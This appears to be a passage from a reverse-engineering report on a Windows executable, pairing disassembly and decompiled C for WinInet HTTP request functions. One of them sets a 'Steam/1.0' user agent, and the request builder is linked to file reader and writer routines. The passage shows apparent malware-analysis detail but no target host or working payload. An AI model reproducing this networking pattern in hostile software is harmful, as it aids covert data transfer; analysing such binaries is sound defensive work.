140004146	c7 44 24 28 03 00 00 00	MOV dword ptr [RSP + 0x28],0x3
14000414e	48 8d 94 24 e0 00 00 00	LEA RDX,[RSP + 0xe0]
140004156	48 89 d9	MOV RCX,RBX
140004159	ff 15 81 e1 0a 00	CALL qword ptr [PTR_InternetConnectW_1400b22e0]
14000415f	48 85 c0	TEST RAX,RAX
140004162	74 2d	JZ LAB_140004191
140004164	48 89 c3	MOV RBX,RAX
140004167	31 c0	XOR EAX,EAX
140004169	83 fd 04	CMP EBP,0x4
14000416c	0f 94 c0	SETZ AL
14000416f	c1 e0 17	SHL EAX,0x17
140004172	0f b6 4f 20	MOVZX ECX,byte ptr [RDI + 0x20]
140004176	f6 c1 01	TEST CL,0x1
140004179	0f 84 ad 00 00 00	JZ LAB_14000422c
14000417f	48 8b 57 28	MOV RDX,qword ptr [RDI + 0x28]
140004183	e9 a8 00 00 00	JMP LAB_140004230
LAB_140004188:
140004188	48 8d 15 ff 79 09 00	LEA RDX,[s_Bad_URL_14009bb8e]	; "Bad URL"
14000418f	eb 07	JMP LAB_140004198
LAB_140004191:
140004191	48 8d 15 fe 79 09 00	LEA RDX,[s_InternetConnect_failed_14009bb96]	; "InternetConnect failed"
LAB_140004198:
140004198	48 89 f1	MOV RCX,RSI
14000419b	48 83 c1 28	ADD RCX,0x28
LAB_14000419f:
14000419f	e8 5c c2 00 00	CALL thunk_FUN_140010410	; thunk_FUN_140010410: strlen
1400041a4	f6 47 50 01	TEST byte ptr [RDI + 0x50],0x1
1400041a8	74 09	JZ LAB_1400041b3
LAB_1400041aa:
1400041aa	48 8b 4f 60	MOV RCX,qword ptr [RDI + 0x60]
1400041ae	e8 2d b7 01 00	CALL FUN_14001f8e0	; FUN_14001f8e0: free
LAB_1400041b3:
1400041b3	f6 47 38 01	TEST byte ptr [RDI + 0x38],0x1
1400041b7	75 53	JNZ LAB_14000420c
1400041b9	f6 47 20 01	TEST byte ptr [RDI + 0x20],0x1
1400041bd	75 5c	JNZ LAB_14000421b
LAB_1400041bf:
1400041bf	f6 47 08 01	TEST byte ptr [RDI + 0x8],0x1
1400041c3	74 09	JZ LAB_1400041ce
LAB_1400041c5:
1400041c5	48 8b 4f 18	MOV RCX,qword ptr [RDI + 0x18]
1400041c9	e8 12 b7 01 00	CALL FUN_14001f8e0	; FUN_14001f8e0: free
LAB_1400041ce:
1400041ce	48 89 f9	MOV RCX,RDI
1400041d1	e8 0a b7 01 00	CALL FUN_14001f8e0	; FUN_14001f8e0: free
1400041d6	48 8b 0d 73 52 0c 00	MOV RCX,qword ptr [DAT_1400c9450]
1400041dd	ba 01 80 00 00	MOV EDX,0x8001
1400041e2	45 31 c0	XOR R8D,R8D
1400041e5	49 89 f1	MOV R9,RSI
1400041e8	ff 15 82 e1 0a 00	CALL qword ptr [PTR_PostMessageW_1400b2370]
1400041ee	31 c0	XOR EAX,EAX
1400041f0	0f 28 b4 24 e0 32 00 00	MOVAPS XMM6,xmmword ptr [RSP + 0x32e0]
1400041f8	48 81 c4 f8 32 00 00	ADD RSP,0x32f8
1400041ff	5b	POP RBX
140004200	5d	POP RBP
140004201	5f	POP RDI
140004202	5e	POP RSI
140004203	41 5c	POP R12
140004205	41 5d	POP R13
140004207	41 5e	POP R14
140004209	41 5f	POP R15
14000420b	c3	RET
LAB_14000420c:
14000420c	48 8b 4f 48	MOV RCX,qword ptr [RDI + 0x48]
140004210	e8 cb b6 01 00	CALL FUN_14001f8e0	; FUN_14001f8e0: free
140004215	f6 47 20 01	TEST byte ptr [RDI + 0x20],0x1
140004219	74 a4	JZ LAB_1400041bf
LAB_14000421b:
14000421b	48 8b 4f 30	MOV RCX,qword ptr [RDI + 0x30]
14000421f	e8 bc b6 01 00	CALL FUN_14001f8e0	; FUN_14001f8e0: free
140004224	f6 47 08 01	TEST byte ptr [RDI + 0x8],0x1
140004228	75 9b	JNZ LAB_1400041c5
14000422a	eb a2	JMP LAB_1400041ce
LAB_14000422c:
14000422c	89 ca	MOV EDX,ECX
14000422e	d1 ea	SHR EDX,0x1
LAB_140004230:
140004230	0d 00 02 00 84	OR EAX,0x84000200
140004235	48 85 d2	TEST RDX,RDX
140004238	74 0b	JZ LAB_140004245
14000423a	f6 c1 01	TEST CL,0x1
14000423d	74 0f	JZ LAB_14000424e
14000423f	48 8b 57 30	MOV RDX,qword ptr [RDI + 0x30]
140004243	eb 0d	JMP LAB_140004252
LAB_140004245:
140004245	48 8d 15 62 79 09 00	LEA RDX,[DAT_14009bbae]
14000424c	eb 04	JMP LAB_140004252
LAB_14000424e:
14000424e	48 8d 57 22	LEA RDX,[RDI + 0x22]
LAB_140004252:
140004252	89 44 24 30	MOV dword ptr [RSP + 0x30],EAX
140004256	0f 57 c0	XORPS XMM0,XMM0
140004259	0f 11 44 24 20	MOVUPS xmmword ptr [RSP + 0x20],XMM0
14000425e	48 c7 44 24 38 00 00 00 …	MOV qword ptr [RSP + 0x38],0x0
140004267	4c 8d 84 24 e0 22 00 00	LEA R8,[RSP + 0x22e0]
14000426f	48 89 d9	MOV RCX,RBX
140004272	45 31 c9	XOR R9D,R9D
140004275	ff 15 45 e0 0a 00	CALL qword ptr [PTR_HttpOpenRequestW_1400b22c0]
14000427b	48 85 c0	TEST RAX,RAX
14000427e	74 16	JZ LAB_140004296
140004280	49 89 c6	MOV R14,RAX
140004283	0f b6 47 38	MOVZX EAX,byte ptr [RDI + 0x38]
140004287	a8 01	TEST AL,0x1
140004289	74 23	JZ LAB_1400042ae
14000428b	48 8b 4f 40	MOV RCX,qword ptr [RDI + 0x40]
14000428f	48 85 c9	TEST RCX,RCX
140004292	75 23	JNZ LAB_1400042b7
140004294	eb 44	JMP LAB_1400042da
LAB_140004296:
140004296	48 89 f1	MOV RCX,RSI
140004299	48 83 c1 28	ADD RCX,0x28
14000429d	48 8d 15 12 79 09 00	LEA RDX,[s_HttpOpenRequest_failed_14009bbb6]	; "HttpOpenRequest failed"
1400042a4	e8 57 c1 00 00	CALL thunk_FUN_140010410	; thunk_FUN_140010410: strlen
1400042a9	e9 2c 02 00 00	JMP LAB_1400044da
LAB_1400042ae:
1400042ae	89 c1	MOV ECX,EAX
1400042b0	d1 e9	SHR ECX,0x1
1400042b2	48 85 c9	TEST RCX,RCX
1400042b5	74 23	JZ LAB_1400042da
LAB_1400042b7:
1400042b7	a8 01	TEST AL,0x1
1400042b9	74 06	JZ LAB_1400042c1
1400042bb	48 8b 57 48	MOV RDX,qword ptr [RDI + 0x48]
1400042bf	eb 04	JMP LAB_1400042c5
LAB_1400042c1:
1400042c1	48 8d 57 3a	LEA RDX,[RDI + 0x3a]
LAB_1400042c5:
1400042c5	4c 89 f1	MOV RCX,R14
1400042c8	41 b8 ff ff ff ff	MOV R8D,0xffffffff
1400042ce	41 b9 00 00 00 a0	MOV R9D,0xa0000000
1400042d4	ff 15 de df 0a 00	CALL qword ptr [PTR_HttpAddRequestHeadersW_1400b22b8]
LAB_1400042da:
1400042da	0f b6 4f 50	MOVZX ECX,byte ptr [RDI + 0x50]
1400042de	f6 c1 01	TEST CL,0x1
1400042e1	74 14	JZ LAB_1400042f7
1400042e3	48 8b 47 58	MOV RAX,qword ptr [RDI + 0x58]
1400042e7	48 85 c0	TEST RAX,RAX
1400042ea	74 14	JZ LAB_140004300
LAB_1400042ec:
1400042ec	f6 c1 01	TEST CL,0x1
1400042ef	74 14	JZ LAB_140004305
1400042f1	4c 8b 4f 60	MOV R9,qword ptr [RDI + 0x60]
1400042f5	eb 12	JMP LAB_140004309
LAB_1400042f7:
1400042f7	89 c8	MOV EAX,ECX
1400042f9	d1 e8	SHR EAX,0x1
1400042fb	48 85 c0	TEST RAX,RAX
1400042fe	75 ec	JNZ LAB_1400042ec
LAB_140004300:
140004300	45 31 c9	XOR R9D,R9D
140004303	eb 04	JMP LAB_140004309
LAB_140004305:
140004305	4c 8d 4f 51	LEA R9,[RDI + 0x51]
LAB_140004309:
140004309	89 44 24 20	MOV dword ptr [RSP + 0x20],EAX
14000430d	4c 89 f1	MOV RCX,R14
140004310	31 d2	XOR EDX,EDX
140004312	45 31 c0	XOR R8D,R8D
140004315	ff 15 b5 df 0a 00	CALL qword ptr [PTR_HttpSendRequestW_1400b22d0]
14000431b	85 c0	TEST EAX,EAX
14000431d	0f 84 d1 00 00 00	JZ LAB_1400043f4
140004323	c7 44 24 58 00 00 00 00	MOV dword ptr [RSP + 0x58],0x0
14000432b	c7 44 24 48 04 00 00 00	MOV dword ptr [RSP + 0x48],0x4
140004333	48 c7 44 24 20 00 00 00 …	MOV qword ptr [RSP + 0x20],0x0
14000433c	4c 8d 44 24 58	LEA R8,[RSP + 0x58]
140004341	4c 8d 4c 24 48	LEA R9,[RSP + 0x48]
140004346	4c 89 f1	MOV RCX,R14
140004349	ba 13 00 00 20	MOV EDX,0x20000013
14000434e	ff 15 74 df 0a 00	CALL qword ptr [PTR_HttpQueryInfoW_1400b22c8]
140004354	8b 44 24 58	MOV EAX,dword ptr [RSP + 0x58]
140004358	89 46 08	MOV dword ptr [RSI + 0x8],EAX
14000435b	c7 44 24 44 00 00 00 00	MOV dword ptr [RSP + 0x44],0x0
140004363	48 8d 94 24 e0 02 00 00	LEA RDX,[RSP + 0x2e0]
14000436b	4c 8d 4c 24 44	LEA R9,[RSP + 0x44]
140004370	4c 89 f1	MOV RCX,R14
140004373	41 b8 00 20 00 00	MOV R8D,0x2000
140004379	ff 15 79 df 0a 00	CALL qword ptr [PTR_InternetReadFile_1400b22f8]
14000437f	85 c0	TEST EAX,EAX
140004381	0f 95 c1	SETNZ CL
140004384	8b 44 24 44	MOV EAX,dword ptr [RSP + 0x44]
140004388	85 c0	TEST EAX,EAX
14000438a	0f 95 c2	SETNZ DL
14000438d	20 ca	AND DL,CL
14000438f	80 fa 01	CMP DL,0x1
140004392	0f 85 39 01 00 00	JNZ LAB_1400044d1
140004398	49 89 f7	MOV R15,RSI
14000439b	49 83 c7 10	ADD R15,0x10
14000439f	4c 8d a4 24 e0 02 00 00	LEA R12,[RSP + 0x2e0]
1400043a7	4c 8d 6c 24 44	LEA R13,[RSP + 0x44]
1400043ac	48 8b 2d 45 df 0a 00	MOV RBP,qword ptr [PTR_InternetReadFile_1400b22f8]
1400043b3	66 66 66 66 2e 0f 1f 84 …	NOP dword ptr CS:[RAX + RAX*0x1]
LAB_1400043c0:
1400043c0	41 89 c0	MOV R8D,EAX
1400043c3	4c 89 f9	MOV RCX,R15
1400043c6	4c 89 e2	MOV RDX,R12
1400043c9	e8 b2 a6 00 00	CALL FUN_14000ea80	; FUN_14000ea80: memmove, memcpy
1400043ce	4c 89 f1	MOV RCX,R14
1400043d1	4c 89 e2	MOV RDX,R12
1400043d4	41 b8 00 20 00 00	MOV R8D,0x2000
1400043da	4d 89 e9	MOV R9,R13
1400043dd	ff d5	CALL RBP
1400043df	85 c0	TEST EAX,EAX
1400043e1	0f 84 ea 00 00 00	JZ LAB_1400044d1
1400043e7	8b 44 24 44	MOV EAX,dword ptr [RSP + 0x44]
1400043eb	85 c0	TEST EAX,EAX
1400043ed	75 d1	JNZ LAB_1400043c0
1400043ef	e9 dd 00 00 00	JMP LAB_1400044d1
LAB_1400043f4:
1400043f4	ff 15 9e e4 0a 00	CALL qword ptr [PTR_GetLastError_1400b2898]
1400043fa	4c 8d 7c 24 58	LEA R15,[RSP + 0x58]
1400043ff	4c 89 f9	MOV RCX,R15
140004402	89 c2	MOV EDX,EAX
140004404	e8 f7 fb 00 00	CALL FUN_140014000	; FUN_140014000: memcpy
140004409	4c 8d 05 bd 77 09 00	LEA R8,[s_HttpSendRequest_failed_(_14009bbcd]	; "HttpSendRequest failed ("
140004410	4c 89 f9	MOV RCX,R15
140004413	31 d2	XOR EDX,EDX
140004415	e8 a6 aa 00 00	CALL FUN_14000eec0	; FUN_14000eec0: strlen
14000441a	48 8b 48 10	MOV RCX,qword ptr [RAX + 0x10]
14000441e	48 89 8c 24 f0 02 00 00	MOV qword ptr [RSP + 0x2f0],RCX
140004426	0f 10 00	MOVUPS XMM0,xmmword ptr [RAX]
140004429	0f 29 84 24 e0 02 00 00	MOVAPS xmmword ptr [RSP + 0x2e0],XMM0
140004431	0f 57 f6	XORPS XMM6,XMM6
140004434	0f 11 30	MOVUPS xmmword ptr [RAX],XMM6
140004437	48 c7 40 10 00 00 00 00	MOV qword ptr [RAX + 0x10],0x0
14000443f	48 8d 15 a0 77 09 00	LEA RDX,[DAT_14009bbe6]
140004446	48 8d 8c 24 e0 02 00 00	LEA RCX,[RSP + 0x2e0]
14000444e	e8 fd a5 00 00	CALL FUN_14000ea50	; FUN_14000ea50: strlen
140004453	0f b6 28	MOVZX EBP,byte ptr [RAX]
140004456	44 0f b6 78 01	MOVZX R15D,byte ptr [RAX + 0x1]
14000445b	48 8b 48 08	MOV RCX,qword ptr [RAX + 0x8]
14000445f	48 89 4c 24 4e	MOV qword ptr [RSP + 0x4e],RCX
140004464	48 8b 48 02	MOV RCX,qword ptr [RAX + 0x2]
140004468	48 89 4c 24 48	MOV qword ptr [RSP + 0x48],RCX
14000446d	4c 8b 60 10	MOV R12,qword ptr [RAX + 0x10]
140004471	0f 11 30	MOVUPS xmmword ptr [RAX],XMM6
140004474	48 c7 40 10 00 00 00 00	MOV qword ptr [RAX + 0x10],0x0
14000447c	f6 46 28 01	TEST byte ptr [RSI + 0x28],0x1
140004480	74 09	JZ LAB_14000448b
140004482	48 8b 4e 38	MOV RCX,qword ptr [RSI + 0x38]
140004486	e8 55 b4 01 00	CALL FUN_14001f8e0	; FUN_14001f8e0: free
LAB_14000448b:
14000448b	40 88 6e 28	MOV byte ptr [RSI + 0x28],BPL
14000448f	44 88 7e 29	MOV byte ptr [RSI + 0x29],R15B
140004493	48 8b 44 24 48	MOV RAX,qword ptr [RSP + 0x48]
140004498	48 8b 4c 24 4e	MOV RCX,qword ptr [RSP + 0x4e]
14000449d	48 89 46 2a	MOV qword ptr [RSI + 0x2a],RAX
1400044a1	48 89 4e 30	MOV qword ptr [RSI + 0x30],RCX
1400044a5	4c 89 66 38	MOV qword ptr [RSI + 0x38],R12
1400044a9	f6 84 24 e0 02 00 00 01	TEST byte ptr [RSP + 0x2e0],0x1
1400044b1	74 0d	JZ LAB_1400044c0
1400044b3	48 8b 8c 24 f0 02 00 00	MOV RCX,qword ptr [RSP + 0x2f0]
1400044bb	e8 20 b4 01 00	CALL FUN_14001f8e0	; FUN_14001f8e0: free
LAB_1400044c0:
1400044c0	f6 44 24 58 01	TEST byte ptr [RSP + 0x58],0x1
1400044c5	74 0a	JZ LAB_1400044d1
1400044c7	48 8b 4c 24 68	MOV RCX,qword ptr [RSP + 0x68]
1400044cc	e8 0f b4 01 00	CALL FUN_14001f8e0	; FUN_14001f8e0: free
LAB_1400044d1:
1400044d1	4c 89 f1	MOV RCX,R14
1400044d4	ff 15 fe dd 0a 00	CALL qword ptr [PTR_InternetCloseHandle_1400b22d8]
LAB_1400044da:
1400044da	48 89 d9	MOV RCX,RBX
1400044dd	ff 15 f5 dd 0a 00	CALL qword ptr [PTR_InternetCloseHandle_1400b22d8]
1400044e3	f6 47 50 01	TEST byte ptr [RDI + 0x50],0x1
1400044e7	0f 85 bd fc ff ff	JNZ LAB_1400041aa
1400044ed	e9 c1 fc ff ff	JMP LAB_1400041b3
LAB_1400044f2:
1400044f2	48 8d 0d 77 4f 0c 00	LEA RCX,[DAT_1400c9470]
1400044f9	e8 2a bd 01 00	CALL FUN_140020228	; FUN_140020228: SleepConditionVariableSRW, __acrt_iob_func, RtlUnwindEx
1400044fe	85 c0	TEST EAX,EAX
140004500	0f 84 52 fb ff ff	JZ LAB_140004058
140004506	e8 75 00 00 00	CALL internet_init	; → internet_init (B3, E4)
14000450b	48 89 05 56 4f 0c 00	MOV qword ptr [DAT_1400c9468],RAX
140004512	48 8d 0d 57 4f 0c 00	LEA RCX,[DAT_1400c9470]
140004519	e8 cc bd 01 00	CALL FUN_1400202ea	; FUN_1400202ea: WakeAllConditionVariable, __acrt_iob_func
14000451e	e9 35 fb ff ff	JMP LAB_140004058

internet_init

0x140004580147 bytes

longlong internet_init(void)

Initialises WinInet session handle with InternetOpenA

Cited as: E4
Behaviours: B3
Called from: http_request
Calls: InternetOpenW InternetSetOptionW

Decompiled C · 21 lines

longlong internet_init(void)

{
  longlong lVar1;
  undefined4 local_1c;
  undefined4 local_18;
  undefined4 local_14;
  
  lVar1 = InternetOpenW(L"Steam/1.0",0,0,0,0);
  if (lVar1 != 0) {
    local_14 = 15000;
    local_18 = 15000;
    local_1c = 30000;
    InternetSetOptionW(lVar1,2,&local_14,4);
    InternetSetOptionW(lVar1,5,&local_18,4);
    InternetSetOptionW(lVar1,6,&local_1c,4);
  }
  return lVar1;
}

Assembly · 36 instructions, 1 annotated

Address	Bytes	Instruction	Comment
140004580	56	PUSH RSI
140004581	57	PUSH RDI
140004582	48 83 ec 38	SUB RSP,0x38
140004586	c7 44 24 20 00 00 00 00	MOV dword ptr [RSP + local_28],0x0
14000458e	48 8d 0d 53 76 09 00	LEA RCX,[u_Steam/1.0_14009bbe8]	; "Steam/1.0"
140004595	31 d2	XOR EDX,EDX
140004597	45 31 c0	XOR R8D,R8D
14000459a	45 31 c9	XOR R9D,R9D
14000459d	ff 15 4d dd 0a 00	CALL qword ptr [PTR_InternetOpenW_1400b22f0]
1400045a3	48 89 c6	MOV RSI,RAX
1400045a6	48 85 c0	TEST RAX,RAX
1400045a9	74 5e	JZ LAB_140004609
1400045ab	c7 44 24 34 98 3a 00 00	MOV dword ptr [RSP + local_14],0x3a98
1400045b3	c7 44 24 30 98 3a 00 00	MOV dword ptr [RSP + local_18],0x3a98
1400045bb	c7 44 24 2c 30 75 00 00	MOV dword ptr [RSP + local_1c],0x7530
1400045c3	48 8b 3d 36 dd 0a 00	MOV RDI,qword ptr [PTR_InternetSetOptionW_1400b2300]
1400045ca	4c 8d 44 24 34	LEA R8,[RSP + 0x34]
1400045cf	48 89 f1	MOV RCX,RSI
1400045d2	ba 02 00 00 00	MOV EDX,0x2
1400045d7	41 b9 04 00 00 00	MOV R9D,0x4
1400045dd	ff d7	CALL RDI
1400045df	4c 8d 44 24 30	LEA R8,[RSP + 0x30]
1400045e4	48 89 f1	MOV RCX,RSI
1400045e7	ba 05 00 00 00	MOV EDX,0x5
1400045ec	41 b9 04 00 00 00	MOV R9D,0x4
1400045f2	ff d7	CALL RDI
1400045f4	4c 8d 44 24 2c	LEA R8,[RSP + 0x2c]
1400045f9	48 89 f1	MOV RCX,RSI
1400045fc	ba 06 00 00 00	MOV EDX,0x6
140004601	41 b9 04 00 00 00	MOV R9D,0x4
140004607	ff d7	CALL RDI
LAB_140004609:
140004609	48 89 f0	MOV RAX,RSI
14000460c	48 83 c4 38	ADD RSP,0x38
140004610	5f	POP RDI
140004611	5e	POP RSI
140004612	c3	RET

http_request_builder

0x140004620671 bytes

ulonglong http_request_builder(byte * param_1, undefined8 param_2, undefined8 param_3, undefined8 param_4)

Constructs HTTP request parameters from global state and string operations, helper for http_request

Cited as: E22
Behaviours: B3
Called from: file_reader, file_writer
Calls: FUN_140002e30, FUN_140004b30, FUN_140005050, FUN_1400160f0, FUN_14001b1a0, FUN_14001f8e0

Decompiled C · 147 lines

/* WARNING: Globals starting with '_' overlap smaller symbols at the same address */

ulonglong http_request_builder(byte *param_1,undefined8 param_2,undefined8 param_3,undefined8 param_4)

{
  ushort uVar1;
  void *pvVar2;
  ulonglong uVar3;
  ulonglong *in_RDX;
  int *piVar4;
  undefined8 in_R8;
  int *piVar5;
  ulonglong in_R9;
  void *pvVar6;
  longlong lVar7;
  bool bVar8;
  undefined8 local_a8;
  int *piStack_a0;
  void *local_98;
  undefined8 local_88;
  int *piStack_80;
  void *local_78;
  byte local_70;
  undefined7 uStack_6f;
  int *piStack_68;
  void *local_60;
  ulonglong local_58;
  undefined8 uStack_50;
  void *local_48;
  int local_38 [2];
  undefined **local_30;
  ulonglong local_28;
  undefined8 uStack_20;
  void *local_18;
  
  local_38[0] = 0;
  local_30 = FUN_1400160f0(param_1,in_RDX,in_R8,in_R9);
  piVar5 = local_38;
  FUN_14001b1a0((ulonglong *)&local_70,param_2,param_3,param_4);
  FUN_140002e30((byte *)&local_58,param_1);
  local_18 = local_48;
  local_28 = local_58;
  uStack_20 = uStack_50;
  local_58 = 0;
  uStack_50 = 0;
  local_48 = (void *)0x0;
  if ((DAT_1400c9438 & 1) == 0) {
    local_98 = DAT_1400c9448;
    local_a8 = CONCAT71(_DAT_1400c9439,DAT_1400c9438);
    piStack_a0 = DAT_1400c9440;
  }
  else {
    piVar5 = DAT_1400c9440;
    FUN_140004b30(&local_a8,DAT_1400c9448,(ulonglong)DAT_1400c9440,in_R9);
  }
  FUN_140005050(&local_a8,&local_28,(size_t)piVar5,in_R9);
  FUN_14001b1a0(&local_88,param_2,param_3,param_4);
  if ((*in_RDX & 1) != 0) {
    FUN_14001f8e0((void *)in_RDX[2]);
  }
  in_RDX[2] = (ulonglong)local_78;
  *in_RDX = local_88;
  in_RDX[1] = (ulonglong)piStack_80;
  uVar3 = local_88 >> 0x20;
  uVar1 = (ushort)local_88;
  local_88._0_4_ = (uint)(uVar1 & 0xff00);
  local_88 = CONCAT44((int)uVar3,(uint)local_88);
  if ((local_a8 & 1) != 0) {
    FUN_14001f8e0(local_98);
  }
  if ((local_28 & 1) != 0) {
    FUN_14001f8e0(local_18);
  }
  if ((local_58 & 1) != 0) {
    FUN_14001f8e0(local_48);
  }
  if (local_38[0] != 0) {
    in_RDX = (ulonglong *)0x0;
    goto joined_r0x0001400048b4;
  }
  if ((local_70 & 1) == 0) {
    local_78 = local_60;
    local_88 = CONCAT71(uStack_6f,local_70);
    piStack_80 = piStack_68;
  }
  else {
    FUN_140004b30(&local_88,local_60,(ulonglong)piStack_68,in_R9);
  }
  if ((*in_RDX & 1) == 0) {
    local_98 = (void *)in_RDX[2];
    local_a8 = *in_RDX;
    piStack_a0 = (int *)in_RDX[1];
  }
  else {
    FUN_140004b30(&local_a8,(void *)in_RDX[2],in_RDX[1],in_R9);
  }
  piVar5 = piStack_a0;
  if ((local_a8 & 1) == 0) {
    piVar5 = (int *)(local_a8 >> 1 & 0x7f);
  }
  if ((local_88 & 1) == 0) {
    piVar4 = (int *)(ulonglong)((byte)local_88 >> 1);
    if (piVar4 < piVar5) goto LAB_140004836;
LAB_14000482b:
    in_RDX = (ulonglong *)0x0;
  }
  else {
    piVar4 = piStack_80;
    if (piVar5 <= piStack_80) goto LAB_14000482b;
LAB_140004836:
    if (piVar4 == (int *)0x0) {
      in_RDX = (ulonglong *)CONCAT71((int7)((ulonglong)in_RDX >> 8),1);
    }
    else {
      pvVar2 = local_78;
      if ((local_88 & 1) == 0) {
        pvVar2 = (void *)((longlong)&local_88 + 2);
      }
      pvVar6 = local_98;
      if ((local_a8 & 1) == 0) {
        pvVar6 = (void *)((longlong)&local_a8 + 2);
      }
      lVar7 = 0;
      do {
        bVar8 = *(short *)((longlong)pvVar6 + lVar7 * 2) == *(short *)((longlong)pvVar2 + lVar7 * 2)
        ;
        in_RDX = (ulonglong *)CONCAT71((int7)((ulonglong)in_RDX >> 8),bVar8);
        if (!bVar8) break;
        bVar8 = (longlong)piVar4 - 1U != lVar7;
        lVar7 = lVar7 + 1;
      } while (bVar8);
    }
  }
  if ((local_a8 & 1) != 0) {
    FUN_14001f8e0(local_98);
  }
  if (((byte)local_88 & 1) != 0) {
    FUN_14001f8e0(local_78);
  }
joined_r0x0001400048b4:
  if ((local_70 & 1) != 0) {
    FUN_14001f8e0(local_60);
  }
  return (ulonglong)in_RDX & 0xffffffff;
}

Assembly · 160 instructions, 15 annotated

Address	Bytes	Instruction	Comment
140004620	56	PUSH RSI
140004621	57	PUSH RDI
140004622	48 81 ec b8 00 00 00	SUB RSP,0xb8
140004629	48 89 d6	MOV RSI,RDX
14000462c	48 89 cf	MOV RDI,RCX
14000462f	c7 84 24 90 00 00 00 00 …	MOV dword ptr [RSP + local_38],0x0
14000463a	e8 b1 1a 01 00	CALL FUN_1400160f0	; FUN_1400160f0: SleepConditionVariableSRW, __acrt_iob_func, RtlUnwindEx, WakeAllConditionVariable
14000463f	48 89 84 24 98 00 00 00	MOV qword ptr [RSP + local_30],RAX
140004647	48 8d 15 ea 4d 0c 00	LEA RDX,[DAT_1400c9438]
14000464e	48 8d 4c 24 58	LEA RCX,[RSP + 0x58]
140004653	4c 8d 84 24 90 00 00 00	LEA R8,[RSP + 0x90]
14000465b	e8 40 6b 01 00	CALL FUN_14001b1a0	; FUN_14001b1a0: GetLastError, CreateFileW, CloseHandle, memcpy +2
140004660	48 8d 4c 24 70	LEA RCX,[RSP + 0x70]
140004665	48 89 fa	MOV RDX,RDI
140004668	e8 c3 e7 ff ff	CALL FUN_140002e30	; FUN_140002e30: MultiByteToWideChar
14000466d	48 8b 84 24 80 00 00 00	MOV RAX,qword ptr [RSP + local_48]
140004675	48 89 84 24 b0 00 00 00	MOV qword ptr [RSP + local_18],RAX
14000467d	0f 28 44 24 70	MOVAPS XMM0,xmmword ptr [RSP + local_58[0]]
140004682	0f 29 84 24 a0 00 00 00	MOVAPS xmmword ptr [RSP + local_28[0]],XMM0
14000468a	0f 57 c0	XORPS XMM0,XMM0
14000468d	0f 29 44 24 70	MOVAPS xmmword ptr [RSP + local_58[0]],XMM0
140004692	48 c7 84 24 80 00 00 00 …	MOV qword ptr [RSP + local_48],0x0
14000469e	f6 05 93 4d 0c 00 01	TEST byte ptr [DAT_1400c9438],0x1
1400046a5	75 1a	JNZ LAB_1400046c1
1400046a7	48 8b 05 9a 4d 0c 00	MOV RAX,qword ptr [DAT_1400c9448]
1400046ae	48 89 44 24 30	MOV qword ptr [RSP + local_98],RAX
1400046b3	0f 10 05 7e 4d 0c 00	MOVUPS XMM0,xmmword ptr [DAT_1400c9438]
1400046ba	0f 29 44 24 20	MOVAPS xmmword ptr [RSP + local_a8[0]],XMM0
1400046bf	eb 18	JMP LAB_1400046d9
LAB_1400046c1:
1400046c1	48 8b 15 80 4d 0c 00	MOV RDX,qword ptr [DAT_1400c9448]
1400046c8	4c 8b 05 71 4d 0c 00	MOV R8,qword ptr [DAT_1400c9440]
1400046cf	48 8d 4c 24 20	LEA RCX,[RSP + 0x20]
1400046d4	e8 57 04 00 00	CALL FUN_140004b30	; FUN_140004b30: memmove
LAB_1400046d9:
1400046d9	48 8d 4c 24 20	LEA RCX,[RSP + 0x20]
1400046de	48 8d 94 24 a0 00 00 00	LEA RDX,[RSP + 0xa0]
1400046e6	e8 65 09 00 00	CALL FUN_140005050	; FUN_140005050: __acrt_iob_func, RtlUnwindEx, memmove
1400046eb	48 8d 4c 24 40	LEA RCX,[RSP + 0x40]
1400046f0	48 8d 54 24 20	LEA RDX,[RSP + 0x20]
1400046f5	4c 8d 84 24 90 00 00 00	LEA R8,[RSP + 0x90]
1400046fd	e8 9e 6a 01 00	CALL FUN_14001b1a0	; FUN_14001b1a0: GetLastError, CreateFileW, CloseHandle, memcpy +2
140004702	f6 06 01	TEST byte ptr [RSI],0x1
140004705	74 09	JZ LAB_140004710
140004707	48 8b 4e 10	MOV RCX,qword ptr [RSI + 0x10]
14000470b	e8 d0 b1 01 00	CALL FUN_14001f8e0	; FUN_14001f8e0: free
LAB_140004710:
140004710	48 8b 44 24 50	MOV RAX,qword ptr [RSP + local_78]
140004715	48 89 46 10	MOV qword ptr [RSI + 0x10],RAX
140004719	0f 10 44 24 40	MOVUPS XMM0,xmmword ptr [RSP + local_88[0]]
14000471e	0f 11 06	MOVUPS xmmword ptr [RSI],XMM0
140004721	c6 44 24 40 00	MOV byte ptr [RSP + local_88[0]],0x0
140004726	66 c7 44 24 42 00 00	MOV word ptr [RSP + local_88[2]],0x0
14000472d	f6 44 24 20 01	TEST byte ptr [RSP + local_a8[0]],0x1
140004732	75 49	JNZ LAB_14000477d
140004734	f6 84 24 a0 00 00 00 01	TEST byte ptr [RSP + local_28[0]],0x1
14000473c	75 53	JNZ LAB_140004791
LAB_14000473e:
14000473e	f6 44 24 70 01	TEST byte ptr [RSP + local_58[0]],0x1
140004743	74 0d	JZ LAB_140004752
LAB_140004745:
140004745	48 8b 8c 24 80 00 00 00	MOV RCX,qword ptr [RSP + local_48]
14000474d	e8 8e b1 01 00	CALL FUN_14001f8e0	; FUN_14001f8e0: free
LAB_140004752:
140004752	83 bc 24 90 00 00 00 00	CMP dword ptr [RSP + local_38],0x0
14000475a	0f b6 44 24 58	MOVZX EAX,byte ptr [RSP + local_70[0]]
14000475f	74 46	JZ LAB_1400047a7
140004761	31 f6	XOR ESI,ESI
140004763	a8 01	TEST AL,0x1
140004765	74 0a	JZ LAB_140004771
LAB_140004767:
140004767	48 8b 4c 24 68	MOV RCX,qword ptr [RSP + local_60]
14000476c	e8 6f b1 01 00	CALL FUN_14001f8e0	; FUN_14001f8e0: free
LAB_140004771:
140004771	89 f0	MOV EAX,ESI
140004773	48 81 c4 b8 00 00 00	ADD RSP,0xb8
14000477a	5f	POP RDI
14000477b	5e	POP RSI
14000477c	c3	RET
LAB_14000477d:
14000477d	48 8b 4c 24 30	MOV RCX,qword ptr [RSP + local_98]
140004782	e8 59 b1 01 00	CALL FUN_14001f8e0	; FUN_14001f8e0: free
140004787	f6 84 24 a0 00 00 00 01	TEST byte ptr [RSP + local_28[0]],0x1
14000478f	74 ad	JZ LAB_14000473e
LAB_140004791:
140004791	48 8b 8c 24 b0 00 00 00	MOV RCX,qword ptr [RSP + local_18]
140004799	e8 42 b1 01 00	CALL FUN_14001f8e0	; FUN_14001f8e0: free
14000479e	f6 44 24 70 01	TEST byte ptr [RSP + local_58[0]],0x1
1400047a3	75 a0	JNZ LAB_140004745
